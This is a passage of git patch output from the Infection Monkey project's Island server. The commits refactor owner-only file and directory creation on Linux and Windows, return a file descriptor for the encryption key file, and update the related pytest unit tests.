monkey_island.cc.setup.mongo import mongo_connector from monkey_island.cc.setup.mongo.mongo_connector import MONGO_DB_HOST, MONGO_DB_NAME, MONGO_DB_PORT from monkey_island.cc.setup.mongo.mongo_db_process import MongoDbProcess From 5abcadc69a90c7e05c307348eeb1f54f1535f7ac Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Tue, 15 Jun 2021 12:47:34 +0530 Subject: [PATCH 0800/1360] tests: Move tests from test_utils.py to test_file_utils.py --- .../cc/environment/test_utils.py | 110 ----------------- .../cc/server_utils/test_file_utils.py | 115 +++++++++++++++++- 2 files changed, 112 insertions(+), 113 deletions(-) delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py deleted file mode 100644 index 2c42622766b..00000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py +++ /dev/null @@ -1,110 +0,0 @@ -import os -import stat - -import pytest - -from monkey_island.cc.environment.utils import ( - create_secure_directory, - create_secure_file, - is_windows_os, -) - -if is_windows_os(): - import win32api - import win32security - - FULL_CONTROL = 2032127 - ACE_TYPE_ALLOW = 0 - - -@pytest.fixture -def test_path_nested(tmpdir): - path = os.path.join(tmpdir, "test1", "test2", "test3") - return path - - -@pytest.fixture -def test_path(tmpdir): - test_path = "test1" - path = os.path.join(tmpdir, test_path) - - return path - - -def _get_acl_and_sid_from_path(path: str): - sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName()) - security_descriptor = win32security.GetNamedSecurityInfo( - path, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION - ) - acl = security_descriptor.GetSecurityDescriptorDacl() - return acl, sid - - -def test_create_secure_directory__already_created(test_path): - os.mkdir(test_path) - assert os.path.isdir(test_path) - create_secure_directory(test_path) - - -def test_create_secure_directory__no_parent_dir(test_path_nested): - with pytest.raises(Exception): - create_secure_directory(test_path_nested) - - -@pytest.mark.skipif(is_windows_os(), reason="Tests Posix (not Windows) permissions.") -def test_create_secure_directory__perm_linux(test_path): - create_secure_directory(test_path) - st = os.stat(test_path) - assert (st.st_mode & 0o777) == stat.S_IRWXU - - -@pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") -def test_create_secure_directory__perm_windows(test_path): - create_secure_directory(test_path) - - acl, user_sid = _get_acl_and_sid_from_path(test_path) - - assert acl.GetAceCount() == 1 - - ace = acl.GetAce(0) - ace_type, _ = ace[0] # 0 for allow, 1 for deny - permissions = ace[1] - sid = ace[-1] - - assert sid == user_sid - assert permissions == FULL_CONTROL and ace_type == ACE_TYPE_ALLOW - - -def test_create_secure_file__already_created(test_path): - os.close(os.open(test_path, os.O_CREAT, 0o700)) - assert os.path.isfile(test_path) - create_secure_file(test_path) # test fails if any exceptions are thrown - - -def test_create_secure_file__no_parent_dir(test_path_nested): - with pytest.raises(Exception): - create_secure_file(test_path_nested) - - -@pytest.mark.skipif(is_windows_os(), reason="Tests Posix (not Windows) permissions.") -def test_create_secure_file__perm_linux(test_path): - create_secure_file(test_path) - st = os.stat(test_path) - assert (st.st_mode & 0o777) == stat.S_IRWXU - - -@pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") -def test_create_secure_file__perm_windows(test_path): - create_secure_file(test_path) - - acl, user_sid = _get_acl_and_sid_from_path(test_path) - - assert acl.GetAceCount() == 1 - - ace = acl.GetAce(0) - ace_type, _ = ace[0] # 0 for allow, 1 for deny - permissions = ace[1] - sid = ace[-1] - - assert sid == user_sid - assert permissions == FULL_CONTROL and ace_type == ACE_TYPE_ALLOW diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py index cff7161357e..4af79335326 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py @@ -1,17 +1,126 @@ import os -from monkey_island.cc.server_utils import file_utils +import stat + +import pytest + +from monkey_island.cc.server_utils.file_utils import ( + create_secure_directory, + create_secure_file, + is_windows_os, + expand_path +) + +if is_windows_os(): + import win32api + import win32security + + FULL_CONTROL = 2032127 + ACE_TYPE_ALLOW = 0 + def test_expand_user(patched_home_env): input_path = os.path.join("~", "test") expected_path = os.path.join(patched_home_env, "test") - assert file_utils.expand_path(input_path) == expected_path + assert expand_path(input_path) == expected_path def test_expand_vars(patched_home_env): input_path = os.path.join("$HOME", "test") expected_path = os.path.join(patched_home_env, "test") - assert file_utils.expand_path(input_path) == expected_path + assert expand_path(input_path) == expected_path + +@pytest.fixture +def test_path_nested(tmpdir): + path = os.path.join(tmpdir, "test1", "test2", "test3") + return path + + +@pytest.fixture +def test_path(tmpdir): + test_path = "test1" + path = os.path.join(tmpdir, test_path) + + return path + + +def _get_acl_and_sid_from_path(path: str): + sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName()) + security_descriptor = win32security.GetNamedSecurityInfo( + path, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION + ) + acl = security_descriptor.GetSecurityDescriptorDacl() + return acl, sid + + +def test_create_secure_directory__already_created(test_path): + os.mkdir(test_path) + assert os.path.isdir(test_path) + create_secure_directory(test_path) + + +def test_create_secure_directory__no_parent_dir(test_path_nested): + with pytest.raises(Exception): + create_secure_directory(test_path_nested) + + +@pytest.mark.skipif(is_windows_os(), reason="Tests Posix (not Windows) permissions.") +def test_create_secure_directory__perm_linux(test_path): + create_secure_directory(test_path) + st = os.stat(test_path) + assert (st.st_mode & 0o777) == stat.S_IRWXU + + +@pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") +def test_create_secure_directory__perm_windows(test_path): + create_secure_directory(test_path) + + acl, user_sid = _get_acl_and_sid_from_path(test_path) + + assert acl.GetAceCount() == 1 + + ace = acl.GetAce(0) + ace_type, _ = ace[0] # 0 for allow, 1 for deny + permissions = ace[1] + sid = ace[-1] + + assert sid == user_sid + assert permissions == FULL_CONTROL and ace_type == ACE_TYPE_ALLOW + + +def test_create_secure_file__already_created(test_path): + os.close(os.open(test_path, os.O_CREAT, 0o700)) + assert os.path.isfile(test_path) + create_secure_file(test_path) # test fails if any exceptions are thrown + + +def test_create_secure_file__no_parent_dir(test_path_nested): + with pytest.raises(Exception): + create_secure_file(test_path_nested) + + +@pytest.mark.skipif(is_windows_os(), reason="Tests Posix (not Windows) permissions.") +def test_create_secure_file__perm_linux(test_path): + create_secure_file(test_path) + st = os.stat(test_path) + assert (st.st_mode & 0o777) == stat.S_IRWXU + + +@pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") +def test_create_secure_file__perm_windows(test_path): + create_secure_file(test_path) + + acl, user_sid = _get_acl_and_sid_from_path(test_path) + + assert acl.GetAceCount() == 1 + + ace = acl.GetAce(0) + ace_type, _ = ace[0] # 0 for allow, 1 for deny + permissions = ace[1] + sid = ace[-1] + + assert sid == user_sid + assert permissions == FULL_CONTROL and ace_type == ACE_TYPE_ALLOW From e01165403ac47dfe8314ec4a23a26c225aa46940 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Tue, 15 Jun 2021 12:51:10 +0530 Subject: [PATCH 0801/1360] island, tests: Run isort and black on previously changed files --- monkey/monkey_island/cc/server_utils/consts.py | 2 +- monkey/monkey_island/cc/server_utils/file_utils.py | 2 +- monkey/monkey_island/cc/setup/config_setup.py | 2 +- .../monkey_island/cc/server_utils/test_file_utils.py | 5 ++--- 4 files changed, 5 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index cfa426d939c..13e0c66e46b 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -1,8 +1,8 @@ import os from pathlib import Path -from monkey_island.cc.server_utils.file_utils import is_windows_os from monkey_island.cc.server_utils import file_utils +from monkey_island.cc.server_utils.file_utils import is_windows_os __author__ = "itay.mizeretz" diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index a495fb5f0f8..368f49e95db 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -1,5 +1,5 @@ -import os import logging +import os import platform import stat diff --git a/monkey/monkey_island/cc/setup/config_setup.py b/monkey/monkey_island/cc/setup/config_setup.py index ef965e56003..657ffaac503 100644 --- a/monkey/monkey_island/cc/setup/config_setup.py +++ b/monkey/monkey_island/cc/setup/config_setup.py @@ -2,9 +2,9 @@ from monkey_island.cc.arg_parser import IslandCmdArgs from monkey_island.cc.environment import server_config_handler -from monkey_island.cc.server_utils.file_utils import create_secure_directory from monkey_island.cc.server_utils import file_utils from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH +from monkey_island.cc.server_utils.file_utils import create_secure_directory from monkey_island.cc.setup.island_config_options import IslandConfigOptions diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py index 4af79335326..59b6f68a837 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py @@ -1,5 +1,4 @@ import os - import stat import pytest @@ -7,8 +6,8 @@ from monkey_island.cc.server_utils.file_utils import ( create_secure_directory, create_secure_file, + expand_path, is_windows_os, - expand_path ) if is_windows_os(): @@ -19,7 +18,6 @@ ACE_TYPE_ALLOW = 0 - def test_expand_user(patched_home_env): input_path = os.path.join("~", "test") expected_path = os.path.join(patched_home_env, "test") @@ -33,6 +31,7 @@ def test_expand_vars(patched_home_env): assert expand_path(input_path) == expected_path + @pytest.fixture def test_path_nested(tmpdir): path = os.path.join(tmpdir, "test1", "test2", "test3") From e90bf526743b5324d4f2c67d83586db973ccedcd Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 15 Jun 2021 15:51:02 +0530 Subject: [PATCH 0802/1360] island: Use `Path().touch()` instead of `os.open()` when securely creating a file on Linux --- monkey/monkey_island/cc/server_utils/file_utils.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index 368f49e95db..cb08be10f56 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -2,6 +2,7 @@ import os import platform import stat +from pathlib import Path LOG = logging.getLogger(__name__) @@ -64,11 +65,8 @@ def create_secure_file(path: str): def _create_secure_file_linux(path: str): try: - flags = ( - os.O_RDWR | os.O_CREAT | os.O_EXCL - ) # read/write, create new, throw error if file exists mode = stat.S_IRWXU # read/write/execute permissions to owner - os.close(os.open(path, flags, mode)) + Path(path).touch(mode=mode, exist_ok=False) except Exception as ex: LOG.error(f'Could not create a file at "{path}": {str(ex)}') From 8b2c3ef8a379ccf9379d38fe6f7a39ae591f66d4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Jun 2021 09:29:18 -0400 Subject: [PATCH 0803/1360] island: Remove execute bit from "secure" file creation --- monkey/monkey_island/cc/server_utils/file_utils.py | 2 +- .../monkey_island/cc/server_utils/test_file_utils.py | 8 ++++++-- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index cb08be10f56..cb94065e489 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -65,7 +65,7 @@ def create_secure_file(path: str): def _create_secure_file_linux(path: str): try: - mode = stat.S_IRWXU # read/write/execute permissions to owner + mode = stat.S_IRUSR | stat.S_IWUSR Path(path).touch(mode=mode, exist_ok=False) except Exception as ex: diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py index 59b6f68a837..0c5b7348edf 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py @@ -91,7 +91,7 @@ def test_create_secure_directory__perm_windows(test_path): def test_create_secure_file__already_created(test_path): - os.close(os.open(test_path, os.O_CREAT, 0o700)) + os.close(os.open(test_path, os.O_CREAT, stat.S_IRWXU)) assert os.path.isfile(test_path) create_secure_file(test_path) # test fails if any exceptions are thrown @@ -105,7 +105,11 @@ def test_create_secure_file__no_parent_dir(test_path_nested): def test_create_secure_file__perm_linux(test_path): create_secure_file(test_path) st = os.stat(test_path) - assert (st.st_mode & 0o777) == stat.S_IRWXU + + expected_mode = stat.S_IRUSR | stat.S_IWUSR + actual_mode = st.st_mode & (stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO) + + assert expected_mode == actual_mode @pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") From 6b4a0906c0ab320f7a35c1bb379b6eb25ed87849 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Jun 2021 09:31:22 -0400 Subject: [PATCH 0804/1360] island: use constants for permissions mode in test_file_utils.py --- .../monkey_island/cc/server_utils/test_file_utils.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py index 0c5b7348edf..ddb4c4936ca 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py @@ -70,7 +70,11 @@ def test_create_secure_directory__no_parent_dir(test_path_nested): def test_create_secure_directory__perm_linux(test_path): create_secure_directory(test_path) st = os.stat(test_path) - assert (st.st_mode & 0o777) == stat.S_IRWXU + + expected_mode = stat.S_IRWXU + actual_mode = st.st_mode & (stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO) + + assert expected_mode == actual_mode @pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") From 14371f3fbab5fc07e32b94047c665a5b381cf2bb Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 15 Jun 2021 18:55:15 +0530 Subject: [PATCH 0805/1360] island: Return file descriptor when creating secure file --- .../cc/server_utils/encryptor.py | 5 +-- .../cc/server_utils/file_utils.py | 42 ++++++++++--------- 2 files changed, 25 insertions(+), 22 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryptor.py b/monkey/monkey_island/cc/server_utils/encryptor.py index abeb34dc342..4f376532cd6 100644 --- a/monkey/monkey_island/cc/server_utils/encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryptor.py @@ -6,7 +6,7 @@ from Crypto import Random # noqa: DUO133 # nosec: B413 from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413 -from monkey_island.cc.server_utils.file_utils import create_secure_file +from monkey_island.cc.server_utils.file_utils import get_file_descriptor_for_new_secure_file __author__ = "itay.mizeretz" @@ -23,12 +23,11 @@ def __init__(self, password_file_dir): if os.path.exists(password_file): self._load_existing_key(password_file) else: - create_secure_file(path=password_file) self._init_key(password_file) def _init_key(self, password_file): self._cipher_key = Random.new().read(self._BLOCK_SIZE) - with open(password_file, "wb") as f: + with open(get_file_descriptor_for_new_secure_file(path=password_file)) as f: f.write(self._cipher_key) def _load_existing_key(self, password_file): diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index cb94065e489..8681bcc54b1 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -2,7 +2,6 @@ import os import platform import stat -from pathlib import Path LOG = logging.getLogger(__name__) @@ -55,25 +54,30 @@ def _create_secure_directory_windows(path: str): raise ex -def create_secure_file(path: str): +def get_file_descriptor_for_new_secure_file(path: str): if not os.path.isfile(path): if is_windows_os(): - _create_secure_file_windows(path) + return _get_file_descriptor_for_new_secure_file_windows(path) else: - _create_secure_file_linux(path) + return _get_file_descriptor_for_new_secure_file_linux(path) -def _create_secure_file_linux(path: str): +def _get_file_descriptor_for_new_secure_file_linux(path: str): try: mode = stat.S_IRUSR | stat.S_IWUSR - Path(path).touch(mode=mode, exist_ok=False) + flags = ( + os.O_RDWR | os.O_CREAT | os.O_EXCL + ) # read/write, create new, throw error if file exists + fd = os.open(path, flags, mode) + + return fd except Exception as ex: LOG.error(f'Could not create a file at "{path}": {str(ex)}') raise ex -def _create_secure_file_windows(path: str): +def _get_file_descriptor_for_new_secure_file_windows(path: str): try: file_access = win32file.GENERIC_READ | win32file.GENERIC_WRITE file_sharing = ( @@ -86,20 +90,20 @@ def _create_secure_file_windows(path: str): file_creation = win32file.CREATE_NEW # fails if file exists file_attributes = win32file.FILE_FLAG_BACKUP_SEMANTICS - win32file.CloseHandle( - win32file.CreateFile( - path, - file_access, - file_sharing, - security_attributes, - file_creation, - file_attributes, - win32job.CreateJobObject( - None, "" - ), # https://stackoverflow.com/questions/46800142/in-python-with-pywin32-win32job-the-createjobobject-function-how-do-i-pass-nu # noqa: E501 - ) + fd = win32file.CreateFile( + path, + file_access, + file_sharing, + security_attributes, + file_creation, + file_attributes, + win32job.CreateJobObject( + None, "" + ), # https://stackoverflow.com/questions/46800142/in-python-with-pywin32-win32job-the-createjobobject-function-how-do-i-pass-nu # noqa: E501 ) + return fd + except Exception as ex: LOG.error(f'Could not create a file at "{path}": {str(ex)}') raise ex From b648452b5f1c5869de8b8573487cf6307a9068c5 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 15 Jun 2021 18:57:18 +0530 Subject: [PATCH 0806/1360] island: Fix comment and statement formatting in file_utils.py --- monkey/monkey_island/cc/server_utils/file_utils.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index 8681bcc54b1..4b9d4c70858 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -80,9 +80,8 @@ def _get_file_descriptor_for_new_secure_file_linux(path: str): def _get_file_descriptor_for_new_secure_file_windows(path: str): try: file_access = win32file.GENERIC_READ | win32file.GENERIC_WRITE - file_sharing = ( - win32file.FILE_SHARE_READ - ) # subsequent open operations on the object will succeed only if read access is requested + # subsequent open operations on the object will succeed only if read access is requested + file_sharing = win32file.FILE_SHARE_READ security_attributes = win32security.SECURITY_ATTRIBUTES() security_attributes.SECURITY_DESCRIPTOR = ( windows_permissions.get_security_descriptor_for_owner_only_perms() From 37889d0b87df8e7c9be2f6273adad7ed18114b11 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 15 Jun 2021 19:00:12 +0530 Subject: [PATCH 0807/1360] island: Extract code to `_get_null_value_for_win32()` in file_utils.py --- monkey/monkey_island/cc/server_utils/file_utils.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index 4b9d4c70858..0a9223d60fd 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -96,9 +96,7 @@ def _get_file_descriptor_for_new_secure_file_windows(path: str): security_attributes, file_creation, file_attributes, - win32job.CreateJobObject( - None, "" - ), # https://stackoverflow.com/questions/46800142/in-python-with-pywin32-win32job-the-createjobobject-function-how-do-i-pass-nu # noqa: E501 + _get_null_value_for_win32(), ) return fd @@ -106,3 +104,8 @@ def _get_file_descriptor_for_new_secure_file_windows(path: str): except Exception as ex: LOG.error(f'Could not create a file at "{path}": {str(ex)}') raise ex + + +def _get_null_value_for_win32() -> None: + # https://stackoverflow.com/questions/46800142/in-python-with-pywin32-win32job-the-createjobobject-function-how-do-i-pass-nu # noqa: E501 + return win32job.CreateJobObject(None, "") From 22c3c5a11bd779f8d676cb4e5214c8e03422d169 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 15 Jun 2021 19:09:02 +0530 Subject: [PATCH 0808/1360] tests: Fix secure file creation tests as per latest changes --- .../monkey_island/cc/server_utils/test_file_utils.py | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py index ddb4c4936ca..ac0c20abee6 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py @@ -5,13 +5,14 @@ from monkey_island.cc.server_utils.file_utils import ( create_secure_directory, - create_secure_file, expand_path, + get_file_descriptor_for_new_secure_file, is_windows_os, ) if is_windows_os(): import win32api + import win32file import win32security FULL_CONTROL = 2032127 @@ -97,17 +98,18 @@ def test_create_secure_directory__perm_windows(test_path): def test_create_secure_file__already_created(test_path): os.close(os.open(test_path, os.O_CREAT, stat.S_IRWXU)) assert os.path.isfile(test_path) - create_secure_file(test_path) # test fails if any exceptions are thrown + # test fails if any exceptions are thrown + get_file_descriptor_for_new_secure_file(test_path) def test_create_secure_file__no_parent_dir(test_path_nested): with pytest.raises(Exception): - create_secure_file(test_path_nested) + get_file_descriptor_for_new_secure_file(test_path_nested) @pytest.mark.skipif(is_windows_os(), reason="Tests Posix (not Windows) permissions.") def test_create_secure_file__perm_linux(test_path): - create_secure_file(test_path) + os.close(get_file_descriptor_for_new_secure_file(test_path)) st = os.stat(test_path) expected_mode = stat.S_IRUSR | stat.S_IWUSR @@ -118,7 +120,7 @@ def test_create_secure_file__perm_linux(test_path): @pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") def test_create_secure_file__perm_windows(test_path): - create_secure_file(test_path) + win32file.CloseHandle(get_file_descriptor_for_new_secure_file(test_path)) acl, user_sid = _get_acl_and_sid_from_path(test_path) From 64ac1fe7061a0994a69048ee308fe8dd00f58030 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 15 Jun 2021 19:11:57 +0530 Subject: [PATCH 0809/1360] island: Add type hinting in file_utils.py --- monkey/monkey_island/cc/server_utils/file_utils.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index 0a9223d60fd..25161ca2f16 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -54,7 +54,7 @@ def _create_secure_directory_windows(path: str): raise ex -def get_file_descriptor_for_new_secure_file(path: str): +def get_file_descriptor_for_new_secure_file(path: str) -> int: if not os.path.isfile(path): if is_windows_os(): return _get_file_descriptor_for_new_secure_file_windows(path) @@ -62,7 +62,7 @@ def get_file_descriptor_for_new_secure_file(path: str): return _get_file_descriptor_for_new_secure_file_linux(path) -def _get_file_descriptor_for_new_secure_file_linux(path: str): +def _get_file_descriptor_for_new_secure_file_linux(path: str) -> int: try: mode = stat.S_IRUSR | stat.S_IWUSR flags = ( @@ -77,7 +77,7 @@ def _get_file_descriptor_for_new_secure_file_linux(path: str): raise ex -def _get_file_descriptor_for_new_secure_file_windows(path: str): +def _get_file_descriptor_for_new_secure_file_windows(path: str) -> int: try: file_access = win32file.GENERIC_READ | win32file.GENERIC_WRITE # subsequent open operations on the object will succeed only if read access is requested From 80bfd9007445609ab03cd8b042bf60a4f8443857 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 15 Jun 2021 19:29:49 +0530 Subject: [PATCH 0810/1360] island: Specify mode to open new secure file in, in encryptor.py --- monkey/monkey_island/cc/server_utils/encryptor.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/server_utils/encryptor.py b/monkey/monkey_island/cc/server_utils/encryptor.py index 4f376532cd6..83292be8a35 100644 --- a/monkey/monkey_island/cc/server_utils/encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryptor.py @@ -27,7 +27,7 @@ def __init__(self, password_file_dir): def _init_key(self, password_file): self._cipher_key = Random.new().read(self._BLOCK_SIZE) - with open(get_file_descriptor_for_new_secure_file(path=password_file)) as f: + with open(get_file_descriptor_for_new_secure_file(path=password_file), "wb") as f: f.write(self._cipher_key) def _load_existing_key(self, password_file): From 327ff7a626244a3b058dd40c0a00dc6fcb37841e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Jun 2021 13:12:18 -0400 Subject: [PATCH 0811/1360] island: Remove isfile() check from get_file_descriptor_for_new_secure_file() get_file_descriptor_for_new_secure_file() should return a file descriptor. If the file already exists, this function would return nothing, potentially causing issues with whatever relies on this function's output. --- monkey/monkey_island/cc/server_utils/file_utils.py | 9 ++++----- .../monkey_island/cc/server_utils/test_file_utils.py | 5 +++-- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index 25161ca2f16..995501c09da 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -55,11 +55,10 @@ def _create_secure_directory_windows(path: str): def get_file_descriptor_for_new_secure_file(path: str) -> int: - if not os.path.isfile(path): - if is_windows_os(): - return _get_file_descriptor_for_new_secure_file_windows(path) - else: - return _get_file_descriptor_for_new_secure_file_linux(path) + if is_windows_os(): + return _get_file_descriptor_for_new_secure_file_windows(path) + else: + return _get_file_descriptor_for_new_secure_file_linux(path) def _get_file_descriptor_for_new_secure_file_linux(path: str) -> int: diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py index ac0c20abee6..7e3e10ed66a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py @@ -98,8 +98,9 @@ def test_create_secure_directory__perm_windows(test_path): def test_create_secure_file__already_created(test_path): os.close(os.open(test_path, os.O_CREAT, stat.S_IRWXU)) assert os.path.isfile(test_path) - # test fails if any exceptions are thrown - get_file_descriptor_for_new_secure_file(test_path) + + with pytest.raises(Exception): + get_file_descriptor_for_new_secure_file(test_path) def test_create_secure_file__no_parent_dir(test_path_nested): From 44bdfa5508c76f87d1a8b016cb6e3dcbce53bef9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Jun 2021 13:14:31 -0400 Subject: [PATCH 0812/1360] island: Rename create_secure_file tests create_secure_file() was previously renamed to get_file_descriptor_for_new_secure_file(). --- .../monkey_island/cc/server_utils/test_file_utils.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py index 7e3e10ed66a..ab1c77ed127 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py @@ -56,7 +56,7 @@ def _get_acl_and_sid_from_path(path: str): return acl, sid -def test_create_secure_directory__already_created(test_path): +def test_create_secure_directory__already_exists(test_path): os.mkdir(test_path) assert os.path.isdir(test_path) create_secure_directory(test_path) @@ -95,7 +95,7 @@ def test_create_secure_directory__perm_windows(test_path): assert permissions == FULL_CONTROL and ace_type == ACE_TYPE_ALLOW -def test_create_secure_file__already_created(test_path): +def test_get_file_descriptor_for_new_secure_file__already_exists(test_path): os.close(os.open(test_path, os.O_CREAT, stat.S_IRWXU)) assert os.path.isfile(test_path) @@ -103,13 +103,13 @@ def test_create_secure_file__already_created(test_path): get_file_descriptor_for_new_secure_file(test_path) -def test_create_secure_file__no_parent_dir(test_path_nested): +def test_get_file_descriptor_for_new_secure_file__no_parent_dir(test_path_nested): with pytest.raises(Exception): get_file_descriptor_for_new_secure_file(test_path_nested) @pytest.mark.skipif(is_windows_os(), reason="Tests Posix (not Windows) permissions.") -def test_create_secure_file__perm_linux(test_path): +def test_get_file_descriptor_for_new_secure_file__perm_linux(test_path): os.close(get_file_descriptor_for_new_secure_file(test_path)) st = os.stat(test_path) @@ -120,7 +120,7 @@ def test_create_secure_file__perm_linux(test_path): @pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") -def test_create_secure_file__perm_windows(test_path): +def test_get_file_descriptor_for_new_secure_file__perm_windows(test_path): win32file.CloseHandle(get_file_descriptor_for_new_secure_file(test_path)) acl, user_sid = _get_acl_and_sid_from_path(test_path) From ef3cbe51cffc66e8acdb161cdeaf64d41e1323dd Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 15 Jun 2021 16:39:07 +0200 Subject: [PATCH 0813/1360] Added altpgraph to the Pipfile. --- monkey/infection_monkey/Pipfile | 1 + monkey/infection_monkey/Pipfile.lock | 17 ++++++++++++++++- 2 files changed, 17 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 17e9bae7b63..6bf9f2814eb 100644 --- 